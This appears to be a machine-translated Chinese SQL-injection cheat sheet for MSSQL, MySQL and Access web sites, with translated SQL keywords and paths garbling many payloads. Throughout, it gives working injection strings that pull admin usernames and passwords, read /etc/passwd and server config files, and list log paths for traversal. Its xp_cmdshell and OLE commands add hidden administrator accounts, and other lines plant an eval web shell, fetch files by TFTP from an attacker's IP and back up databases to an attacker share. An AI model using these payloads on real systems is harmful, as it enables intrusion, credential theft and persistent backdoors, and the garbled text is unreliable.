MSSQL starpdatu bāzes vaicājumi (smirdīgs ēdiens!) Tumšs)
Izspiediet katru pēdējo MS SQL pilienu
Detalizēti izskaidrotas SQL priekšraksta atsauces un ierakstu kopas objekti
Par saglabātajām procedūrām SQL Server
Izveidojiet tīmekļa čaulu ar mssql dublējumu
SQL_Injection uzlabotas lietojumprogrammas
Starpvietņu SQL injekcija (laokai)
Dīvaina SQL injekcija (AMANL)
Uzlabota SQL injekcija SQL Server lietojumprogrammās
Kā izmantot SQL injekciju, lai šķērsotu direktorijus
SQL injekcijas paņēmienu ceļvedis (tulkotājs: demonalex)
Daži uzbrukumi SQL datu bāzēm
SQL injekcijas uzbrukuma tehnika (JSW)
SQL_Injection Advanced Applications (APACHY)
Neparastas SQL injekcijas metodes (Guilin veterāns)
Čaulas dublēšana
Runājiet par php+mysql injekcijas paziņojuma struktūru (Heyhehehehe·≯Super· Hei)
Uzlabota SQL injekcija ar MySQL (eņģelis)
L'injekcija (Mans) SQL, izmantojot PHP
Oracle SQL valoda
SQL manuālās injekcijas enciklopēdija
Priekšnosacījumi prasa rīkus: SQL Query Analyzer un SqlExec Sunx versija ============================================================================================== 1. Nosakiet, vai ir injekcijas punkts ; un 1=1 un 1=2 2. Uzminiet, ka tabulas nosaukums nav nekas cits kā administrators, administrators, lietotājs, lietotāja caurlaide, parole utt.: un 0<>(atlasiet count(*) no *) un 0<>(select count(*) from admin) — nosakiet, vai administratora tabula pastāv 3. Uzminiet kontu skaitu Ja rodas 0< atgriezieties pareizajā lapā 1< atgrieziet kļūdas lapu, lai norādītu, ka kontu skaits ir 1 un 0<(atlasiet count(*) no administratora) un 1<(atlasiet count(*) no admin) 4. Uzminiet lauka nosaukumu Pievienojiet lauka nosaukumu, par kuru mēs domājam len( ) iekavās. un 1=(atlasiet count(*) no admin, kur len(*)>0)– un 1=(atlasiet count(*) no administratora, kur len(lietotājvārda nosaukums)>0) un 1=(atlasiet count(*) no admin, kur len(_blank>paroles lauka nosaukums)>0) 5. Uzminiet katra lauka garumu Uzminiet garumu, lai pārveidotu >0, līdz tiek atgriezta pareizā lapa un 1=(izvēlieties count(*) no admin, kur len(*)>0) un 1=(atlasiet count(*) no administratora, kur len(name)>6) kļūda un 1=(atlasiet count(*) no admin, kur len(name)>5) Pareizais garums ir 6 un 1=(atlasiet count(*) no admin, kur len(name)=6) ir pareizs un 1=(atlasiet count(*) no admin, kur len(password)>11) ir pareizs un 1=(atlasiet count(*) no administratora, kur len(password)>12) kļūdas garums ir 12 un 1=(atlasiet count(*) no admin, kur len(password)=12) ir pareizs 6. Uzminiet rakstzīmes un 1=(atlasiet count(*) no admin, kur left(name,1)=a) — Uzminiet lietotāja konta pirmo ciparu un 1=(atlasiet count(*) no admin, kur left(name,2)=ab) — uzminiet lietotāja konta otro ciparu Vienkārši pievienojiet vienu rakstzīmi vienlaikus, lai uzminētu, uzminiet pietiekami daudz ciparu, cik tikko uzminējāt, un konta numurs iznāks (1) Uzminiet tabulas nosaukumu
Izmantotie teikumi: un pastāv (atlasiet * no tabulas nosaukuma)
Piemēram: un pastāv (atlasiet * no administratora)
Ja lapa atbalsojas pareizi, tas nozīmē, ka tabulas nosaukums, ko mēs šeit uzminējām, ir pareizs, un, ja lapa ir nepareiza, tad tas nozīmē, ka tabulas nosaukums, ko mēs šeit uzrakstījām, ir nepareizs
, pēc tam mainiet tabulas nosaukumu un turpiniet minēt, līdz uzminējat.
Parasti izmantotie tabulu nosaukumi ir administrators, pārvaldīt, lietotājs vai ievietot to rīka palaišanā (2) Uzminiet lauku
Izmantotie teikumi: un pastāv (atlasiet lauka nosaukumu no tabulas nosaukuma)
Piemēram: un pastāv (izvēlieties lietotājvārdu no admin)
Šeit, pieņemot, ka administratora tabula ir tabula, kuru es pareizi uzminēju iepriekš, tad es vēlos noteikt, vai lietotājvārda lauks pastāv, man jāizmanto šis paziņojums, ja lapa
Ja sejas atbalss ir pareiza, tas nozīmē, ka lauka nosaukums, ko mēs šeit uzminējām, ir pareizs, un, ja lapa ir nepareiza, tad tas nozīmē, ka lauka nosaukums, ko mēs šeit uzrakstījām, ir nepareizs
, pēc tam mainiet lauka nosaukumu un turpiniet uzminēt, līdz uzminējat.
Parasti izplatītākie lauku nosaukumi ir lietotājvārds, parole, lietotājs, caurlaide, vārds, caurlaide, pwd, usr, psd un citi lauki (3)pasūtīt pēc
Kārtot pēc ir iegūt lauku skaita summu šajā lapā, gatavojoties nākamajam kopīgajam vaicājumam (4) Savienības izvēle
1. Ja jūs atbalstāt kopīgu vaicājumu, atrodiet displeja bitu http://www.xxx.com/product_show.asp?id=1 un 1 = 2 savienība izvēlieties
1,2,3,4,5,6,7,8,9,10,11 Pieņemsim, ka displeja biti ir 5,6. Tālāk mums ir jāaizstāj tikai lauku nosaukumi, kas atbilst administratora lietotājvārdam un parolei, ar displeja bita pozīciju šeit
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select
1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 no admin atrada fona pieteikšanos 2. Ja kopīgais vaicājums netiek atbalstīts Administratora lietotājvārdu un paroli nevar iegūt bez kopīga vaicājuma - izmantojot Ascii burtisku dekodēšanu Divi Izmantojiet secību pēc, lai spriestu par bitu skaitu tabulā, un, ja tas nedarbojas, izmantojiet union select, lai tos sakārtotu pa vienam, šeit mēs pieņemam 8 bitus Trīs Kopīga vaicājuma izmantošana, lai noteiktu displeja bitus Četri Izmantojiet displeja bitu, lai atrastu datu bāzes nosaukumu, datu bāzes versiju, 5.0 vai jaunāku var ievadīt
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database
(),0x5c,lietotājs(),0x5c, versija()),8 Pieci Izmantojot datu bāzes nosaukumu, varat sākt iegūt tabulas nosaukuma shēmu =, kam seko datu bāzes nosaukuma HEX vērtība, un uzminēt tabulas nosaukumu
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT
+table_name),8 +no+information_schema.kolonnas+kur+ table_schema=0x666C6965725F6462617365 Seši Analizētais tabulas nosaukums nosaka administratora tabulas nosaukums=tabulas nosaukums HEX vērtību un uzmin tabulas laukus http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT (ATŠĶIRĪGS
+column_name),8+ no+information_schema.kolonnas+kur+table_name=0x7075625F7765626D6173746572 Septiņi Pēc lauku iegūšanas administratora tabulā iegūsim lauku saturu http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT (ATŠĶIRĪGS
+lietotājvārds, 0x5f,lietotājspwd),8+no+pub_webmaster Astoņi Rīks skenē fonu: piesakieties, lai augšupielādētu Trojas zirgu pēc tā atrašanas, un, ja nevarat atrast robots.txt failu, kuram varat piekļūt Deviņi Ja nevarat atrast fonu, tiks atklāta MYSQL administratora parole http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat
(lietotājs,parole),8+no+mysql.user Desmit Nejauši piekļūstiet ceļam, un atsauksmes ir IIS6 404 noklusējuma lapa, kas norāda, ka tīmekļa vietnes serveris ir: Windows+IIS6+php+MySql vide c:\\windows\\system32\\inetsrv\\MetaBase.xml Šis ceļš var iegūt vietnes konfigurācijas informāciju. Pārskatu veidošana http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file
(0x633A5C5C77696E646F77735C 5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8 Vienpadsmit Analizējiet kodu un atrodiet fona adresi Pirmajā solī mums ir jāiegūst tabulas lauku garums Izmantotie paziņojumi: un (atlasiet augšējo 1 objektīvu (lauka nosaukums) no tabulas nosaukuma)>0 Piemēram, kas: un (atlasiet top 1 len(admin_name) no admin)>0 Lapa tiek parādīta normāli, lauka garums admin_name ir lielāks par 0, un es iesniegšu:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10 Lapā tiek parādīta kļūda, kurā norādīts, ka lauks ir no 0 līdz 10, un garums ir 5, izmantojot dihotomiju Izmantojot to pašu metodi, lai noteiktu administratora paroles lauka garumu, es saņemu garumu 16 2. darbība Tagad pāriesim pie otrā soļa, laukā ņemiet noteiktu rakstzīmi un iegūstam izmantotās rakstzīmes ASCII kodu
Paziņojums: un (atlasiet top 1 asc(mid(lauka nosaukums, N,1)) no tabulas nosaukuma)>0 Ļaujiet man aplūkot šo teikumu atsevišķi, pirmkārt, iekšējo vidējo (lietotājvārds, 1,1) funkciju, kas ir admin_name lauka pirmā rakstzīme N
norāda, ka ir jāpārtver dažas pirmās rakstzīmes, Tad ārējā funkcija asc(), kas pārvērš vidējās funkcijas pārtvertās rakstzīmes ASCII kodā, tālākais augšējais 1, attēlo pirmās vietas atgriešanās lauku
Tad ieraksts, ">0" beigās ir salīdzināt konvertēto ASCII kodu ar šo numuru un visbeidzot iegūt pārtveršanu, pastāvīgi mainot pēdējo vērtību
Iegūstiet šīs rakstzīmes specifiku ASCII kods Iesniegums:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>30 Lapa tiek parādīta normāli, norādot, ka šīs rakstzīmes ASCII kods ir lielāks par 30. Iesniegums:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>90 Lapa tiek parādīta normāli, norādot, ka šīs rakstzīmes ASCII kods ir lielāks par 90.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)=97 ASCII kods, ar kuru es nonācu šai rakstzīmei, ir 97 Salīdziniet ASCII tabulu: Var secināt, ka pirmā rakstzīme ir "a". Tad es spriedīšu par otrās rakstzīmes ASCII kodu.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from
admin)>90 Lapa tiek parādīta normāli, norādot, ka rakstzīmes ASCII kods ir lielāks par 90, un pēdējā vērtība vienmēr tiek mainīta Ar to pašu metodi tika iegūta administratora parole, un rezultāts, ko es saņēmu, bija:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from
admin)=52 un 1=(atlasiet top 1 count(*) no Admin, kur Asc(mid(pass,5,1))=51) - Šis vaicājuma paziņojums var uzminēt ķīniešu lietotāju un _blank> paroli. Vienkārši nomainiet šādus numurus ar ķīniešu ASSIC kodu
Pārvērst par rakstzīmēm.
grupēt pēc users.id ar 1=1–www.myhack58.com grupēt pēc users.id, users.username, users.password, users.privs ar 1=1– ; Ievietojiet lietotāju vērtības( 666, uzbrucējs, foobar, 0xffff )-
SAVIENĪBA Izvēlieties TOP 1 COLUMN_blank>_NAME NO INFORMATION_blank>_SCHEMA. KOLONNAS, kur
TABLE_blank>_NAME=logintable- SAVIENĪBA Izvēlieties TOP 1 COLUMN_blank>_NAME NO INFORMATION_blank>_SCHEMA. KOLONNAS, kur
TABLE_blank>_NAME=logintable Kur COLUMN_blank>_NAME NAV (login_blank>_id)- SAVIENĪBA Izvēlieties TOP 1 COLUMN_blank>_NAME NO INFORMATION_blank>_SCHEMA. KOLONNAS, kur
TABLE_blank>_NAME=logintable Kur COLUMN_blank>_NAME NAV
(login_blank>_id,login_blank>_name)- SAVIENĪBA Izvēlieties TOP 1 login_blank>_name NO logintable- SAVIENĪBA Izvēlieties TOP 1 paroli NO pieteikšanās tabulas, kur login_blank>_name=Rahul- Paskatieties uz _blank> servera atskaņoto ielāpu = nepareizs SP4 plāksteris melnās joslas drošības tīkls un 1=(atlasiet @@VERSION)-
Apskatiet _blank> datu bāzes savienojuma konta atļaujas, un tas atgriežas normāli, pierādot, ka tā ir _blank> servera lomas sistēmas administratora atļauja. un 1=(Atlasiet IS_blank>_SRVROLEMEMBER(sysadmin))-
Nosakiet, _blank> ir pievienots datu bāzes konts. (Izmantojiet SA kontu, lai izveidotu savienojumu un atgrieztu normālu = pierādīt, ka pievienotais konts ir SA) un sa=(Atlasīt System_blank>_user)- un user_blank>_name()=dbo– un 0<>(atlasiet user_blank>_name()–
Pārbaudiet, vai xp_blank>_cmdshell dzēš un 1=(Atlasīt skaitu(*) NO master.dbo.sysobjects Kur xtype = X UN nosaukums = xp_blank>_cmdshell)
–
xp_blank>_cmdshell tiek izdzēsts, atjaunots un atbalsta absolūtā ceļa atkopšanu ; EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll- ; EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll– ============================== DB atļauja tiek pakļauta tīmekļa vietnes fiziskajam ceļa kodam
========================================================================== 1 、 nomešanas galds [jm_tmp]; izveidot tabulu [jm_tmp](vērtība navrchar(4000) null,data nvarchar(4000)
null) -- Izveidot tabulu
2、 svītrot [jm_tmp]; Ievietot [jm_tmp] exec master.dbo.xp_regread
'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--
Vietnes direktorija ievietošana tabulas laukā
3、un (izvēlieties Top 1 cast([dati] kā nvarchar(4000) char(124) no [jm_tmp] secībā pēc [dati]
desc)=0 '//Atklātais lauks
4. Nomest tabulu [jm_tmp] -- Izdzēsiet šo tabulu. komandai, lai iegūtu čaulu
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i >>d:\Citi staciju ceļi ======================load_file() Bieži izmantotā sensitīva informācija =========================================== 1、 aizstāt(load_file(0×2F6574632F706173737764),0×3c,0×20)
2、aizstāt(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32)) Iepriekš minētie divi ir apskatīt PHP failu, kas pilnībā parāda kodu. Dažreiz dažas rakstzīmes netiek aizstātas, piemēram, "<", nevis "atstarpe", kas atgriežas
Tīmekļa lapa. Un kodu nevar apskatīt.
3. load_file(char(47)) var uzskaitīt FreeBSD un Sunos sistēmu saknes direktoriju
4. Skatiet linux APACHE virtuālā resursdatora konfigurācijas failu /etc/httpd/conf/httpd.conf vai /usr/local/apche/conf/httpd.conf
5. C: \ Program Files \ Apache Group \ Apache \ conf \ httpd.conf vai C: \ apache \ conf \ httpd.conf lai skatītu WINDOWS
Sistēmas Apache fails
6. c:/Resin-3.0.14/conf/resin.conf Skatiet jsp izstrādātās tīmekļa vietnes sveķu faila konfigurācijas informāciju.
7. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf, lai apskatītu Linux sistēmā konfigurēto JSP virtuālo resursdatoru
8、d:\APACHE\Apache2\conf\httpd.conf
9 、 C: \ Program Files \ mysql \ my.ini
10、.. /themes/darkblue_orange/layout.inc.php phpmyadmin eksplodēt ceļš
11. C: \ Windows \ system32 \ inetsrv \ MetaBase.xml Skatiet IIS virtuālo resursdatora konfigurācijas failu
12. /usr/local/resin-3.0.22/conf/resin.conf, lai apskatītu RESIN konfigurācijas failu 3.0.22
13. /usr/local/resin-pro-3.0.22/conf/resin.conf Tas pats kā iepriekš
14. /usr/local/app/apache2/conf/extratpd-vhosts.conf APASHE virtuālais resursdators
15. /etc/sysconfig/iptables ir atkarīgs no ugunsmūra politikas
16. /usr/local/app/php5 b/php.ini PHP ekvivalenti iestatījumi
17. /etc/my.cnf MYSQL konfigurācijas fails
18. /etc/redhat-release sistēmas versija Red Hat
19 、C:\mysql\data\mysql\user. MYD pastāv lietotāja parolē MYSQL sistēmā
20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0, lai skatītu IP.
21. /usr/local/app/php5 b/php.ini //PHP saistītie iestatījumi
22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // virtuālās vietnes iestatījumi
23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、c:\Windows\my.ini
25. /etc/issue parāda Linux kodola izplatīšanas informāciju
26 、 / etc / ftpuser
27. Pārbaudiet operāciju žurnālfailu zem LINUX user.bash_history vai .bash_profile
28 、 / etc / ssh / ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log .. /apache/baļķi/error.log .. /apache/žurnāli/access.log .. /.. /apache/baļķi/error.log .. /.. /apache/žurnāli/access.log .. /.. /.. /apache/baļķi/error.log .. /.. /.. /apache/žurnāli/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/vietējais/apache/žurnāli/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/vietējais/apache/žurnāli/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/vietējais/apache/žurnāli/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/vietējais/apache/žurnāli/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log
/var/log/httpd/error_log .. /apache/baļķi/error.log .. /apache/žurnāli/access.log .. /.. /apache/baļķi/error.log .. /.. /apache/žurnāli/access.log .. /.. /.. /apache/baļķi/error.log .. /.. /.. /apache/žurnāli/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log ======================================================== Reversais PING eksperiments pats ; izmantojiet meistaru; deklarēt @s int; exec sp_blank>_oacreate "wscrip{filter}t.shell", @s out; izpilddirektors
sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1"; –
Konta pievienošana ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c neto lietotājs jiaoniang$ 1866574 /add–
Izveidojiet virtuālo direktoriju E-disks: ; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "noklusējuma vietne" -v "e","e:\"–
Piekļuves atribūti: (ar rakstīšanu tīmekļa čaulā) declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
Īpašs _blank> triks bibliotēkas pārrāvumam: :%5c=\ vai modificējiet %5 ar / un \, lai apņemtos un 0<> (atlasiet 1 labākos ceļus no jaunās tabulas) -
Iegūstiet datu bāzes nosaukumu (no 1 līdz 5 ir sistēmas ID, un jūs varat tos spriest virs 6) un 1=(izvēlieties nosaukumu no master.dbo.sysdatabases, kur dbid=7)- un 0<>(atlasiet count(*) no master.dbo.sysdatabases, kur name>1 un dbid=6) Iesniegt dbid pēc kārtas = 7,8,9.... Iegūstiet vairāk _blank> datu bāzu nosaukumiem
un 0<>(izvēlieties top 1 nosaukumu no bbs.dbo.sysobjects, kur xtype=U) ielauzās tabulā, pieņemot, ka admin un 0<>(atlasiet top 1 nosaukumu no bbs.dbo.sysobjects, kur xtype=u un name not in (Admin)).
Citas tabulas. un 0<>(atlasiet count(*) no bbs.dbo.sysobjects, kur xtype=u un name=admin un uid>(str(id))) Tiek pieņemts, ka UID skaitliskā vērtība ir 18779569 uid=id un 0<>(atlasiet top 1 nosaukumu no bbs.dbo.syscolumns, kur id=18779569) iegūstiet lauku admin, false
Iestatīt uz user_blank>_id un 0<>(atlasiet Top 1 nosaukumu no bbs.dbo.syscolumns, kur id=18779569 un name not (id,...)) Citu lauku atklāšana un 0<(atlasiet user_blank>_id no BBS.dbo.admin, kur lietotājvārds>1), lai iegūtu lietotājvārdu Savukārt jūs varat iegūt _blank> paroli。。。。。 Pieņemsim, ka ir tādi lauki kā user_blank>_id lietotājvārds, parole utt
un 0<>(atlasiet count(*) no master.dbo.sysdatabases, kur name>1 un dbid=6) un 0<>(atlasiet top 1 nosaukumu no bbs.dbo.sysobjects, kur xtype=U), lai iegūtu tabulas nosaukumu un 0<>(atlasiet top 1 nosaukumu no bbs.dbo.sysobjects, kur xtype=u un name not in(Address)) un 0<>(atlasiet count(*) no bbs.dbo.sysobjects, kur xtype=u un name=admin un uid>(str(id)))
ID vērtības noteikšana un 0<>(atlasiet 1 labāko nosaukumu no BBS.dbo.syscolumns, kur id=773577794) visi lauki
?id=-1 savienība atlasiet 1,2,3,4,5,6,7,8,9,10,11,12,13,* no admin ?id=-1 savienība atlasiet 1,2,3,4,5,6,7,8,*,9,10,11,12,13 no admin (savienība,piekļuve ir arī viegli lietojama)
Iegūt ceļu WEB ; Izveidot tabulu [DBO]. [mijmaiņa] ([swappass][char](255)); – un (izvēlieties 1 labāko swappass no mijmaiņas)=1– ; Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec
meistars.. xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SISTĒMA
\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test
OUTPUT ievietot paths(path) values(@test)- ; izmantojiet ku1; – ; izveidot tabulu cmd (str attēls); - Izveidojiet attēla tipa tabulu cmd 1. Veids, kā noņemt xp_cmdshell paplašināšanas procesu, ir izmantot šādu paziņojumu:
if exists (atlasiet * no dbo.sysobjects, kur id=object_id(N'[dbo].[ xpcmdshell]') un
OBJECTPROPERTY(id,N'IsExtendedProc')=1) exec sp_dropextendedproc N'[dbo]. [xp_cmdshell]"
2. Veids xp_cmdshell kā pievienot paplašināšanas procesu, ir izmantot šādu apgalvojumu:
(1) SQL vaicājumu analizators
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
(2) Vispirms aizpildiet %s formātā opcija SqlExec Sunx versija un ievadiet to CMD opcijā
sp_addextendedproc "xp_cmdshell", "xpsql70.dll"
noņemt
sp_dropextendedproc "xp_cmdshell"
(3)MSSQL2000
sp_addextendedproc "xp_cmdshell", "xplog70.dll" Ir xp_blank>_cmdshell testēšanas procesi: ; izpildmeistars .. xp_blank>_cmdshell dir ; izpilddirektors master.dbo.sp_blank>_addlogin jiaoniang$; - Pievienojiet SQL kontus ; exec master.dbo.sp_blank>_password null,jiaoniang$,1866574; – ; exec master.dbo.sp_blank>_addsrvrolemember jiaoniang $ sysadmin; – ; exec master.dbo.xp_blank>_cmdshell neto lietotājs jiaoniang$ 1866574 /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add;– ; exec master.dbo.xp_blank>_cmdshell neto vietējās grupas administratori jiaoniang$ /add; – izpildmeistars .. xp_blank>_servicecontrol sākt, ieplānojiet _blank> pakalpojuma sākšanu izpildmeistars .. xp_blank>_servicecontrol start, serveris ; DECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c neto lietotājs jiaoniang$ 1866574 /add ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c neto vietējās grupas administratori jiaoniang$ /add ; izpildmeistars .. xp_blank>_cmdshell tftp -i youip get file.exe - augšupielādējiet failus, izmantojot TFTP
; deklarēt @a sysname kopu @a=xp_blank>_+cmdshell exec @a dir c:\ ; deklarēt @a sysname kopu @a=xp+_blank>_cm'+'dshell exec @a dir c:\ ; deklarēt @a; iestatiet @a=db_blank>_name(); dublēt datu bāzi @a uz disk=your IP Jūsu koplietojamā direktorija bak.dat Ja ir ierobežots, jā. atlasiet * no openrowset(_blank>sqloledb,server; sa; ,atlasiet Labi! izpilddirektors
master.dbo.sp_blank>_addlogin hax)
Vaicājuma struktūra: Izvēlieties * NO ziņām Kur id=... UN tēma=... UN ..... adminand 1=(izvēlieties count(*) no [user], kur username=victim un right(left(userpass,01),1)=1)
un UserPass <> atlasiet 123; – ; izmantojiet meistaru; – :a vai nosaukums, piemēram, fff%; - Rāda lietotāju ar nosaukumu ffff. un 1<>(atlasiet count(email) no [lietotājs]); – ; atjaunināt [lietotāji] iestatīt e-pasts=(atlasiet top 1 nosaukumu no sysobjects, kur xtype=u un status>0) kur
nosaukums=ffff; – ; atjaunināt [lietotāji] iestatīt e-pasts=(atlasiet top 1 ID no sysobjects, kur xtype=you un name=ad) kur
nosaukums=ffff; – ; atjaunināt [lietotāji] iestatīt e-pasts=(atlasiet 1. populārāko nosaukumu no sysobjects, kur xtype=u un id>581577110)
kur nosaukums=ffff; – ; atjaunināt [lietotāji] iestatiet e-pasts=(atlasiet top 1 count(id) no paroles), kur name=ffff; – ; atjaunināt [lietotāji] iestatīt e-pastu = (atlasiet top 1 pwd no paroles, kur id = 2) kur vārds = ffff; – ; atjaunināt [lietotāji] iestatīt e-pasts=(atlasiet top 1 vārdu no paroles, kur id=2) kur vārds=ffff; – Iepriekš minētais apgalvojums ir iegūt pirmo lietotāju tabulu _blank> datu bāzē un ievietot tabulas nosaukumu ffff lietotāja e-pasta laukā. Apskatot ffff lietotāja profilu, jūs varat iegūt pirmo tabulu ar nosaukumu AD Pēc tam iegūstiet šīs tabulas ID atbilstoši tabulas nosaukuma reklāmai, lai iegūtu otrās tabulas nosaukumu
Ievietot lietotāju vērtības( 666, rakstzīmes(0×63)+rakstzīmes(0×68)+rakstzīmes(0×72)+rakstzīmes(0×69)+rakstzīmes(0×73),
char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)– Ievietot lietotāju vērtības( 667,123,123,0xffff)– Ievietot lietotāju vērtības ( 123, admin–, parole, 0xffff)– ; un lietotājs>0 ; un (atlasiet count(*) no sysobjects)>0 ; un (atlasiet count(*) no mysysobjects)>0 // access_blank> datu bāzei
Datu tabulas nosaukuma uzskaitīšana ; atjaunināt aaa set aaa=(atlasiet top 1 nosaukumu no sysobjects, kur xtype=u un status>0); – Šeit pirmais tabulas nosaukums tiek atjaunināts uz lauku AAA. Izlasiet pirmo tabulu, un otro tabulu var lasīt šādi (pievienojiet un nosauciet pēc nosacījuma<> tikko iegūtās tabulas nosaukumu). ; atjaunināt aaa kopu aaa=(atlasiet top 1 nosaukumu no sysobjects, kur xtype=u un status>0 un
vārds<>balsojums); – Tad id=1552 un eksistē(izvēlieties * no aaa, kur aaa>5) Izlasiet otro tabulu un izlasiet to pa vienam, līdz tās nav. Lasīšanas lauks izskatās šādi: ; atjaunināt aaa kopu aaa=(atlasiet top 1 col_blank>_name(object_blank>_id(tabulas nosaukums),1)); – Tad id=152 un eksistē(atlasiet * no aaa, kur aaa>5) saņem kļūdu un iegūst lauka nosaukumu ; atjaunināt aaa kopu aaa=(atlasiet 1. augšējo col_blank>_name(object_blank>_id(tabulas nosaukums),2)); – Tad id=152 un eksistē(atlasiet * no aaa, kur aaa>5) saņem kļūdu un iegūst lauka nosaukumu
[Iegūt datu tabulas nosaukumu] [Atjauniniet lauka vērtību uz tabulas nosaukumu un pēc tam nolasiet šī lauka vērtību, lai iegūtu tabulas nosaukumu] Atjaunināt tabulas nosaukumu kopu field=(atlasiet 1. augšējo nosaukumu no sysobjects, kur xtype=u un status>0 [ un nosaukums<>
Iegūtais tabulas nosaukums Atrodiet vienu plus vienu]) [ kur nosacījums] izvēlieties top 1 nosaukumu no sysobjects, kur xtype=u un
statuss>0 un nosaukums nav (tabula1,tabula2,...) Datu bāzes administratora konta un sistēmas administratora konta izveide _blank> _blank> ievainojamības injekciju, izmantojot SQLSERVER [Pašreizējam kontam jābūt SYSADMIN grupai]
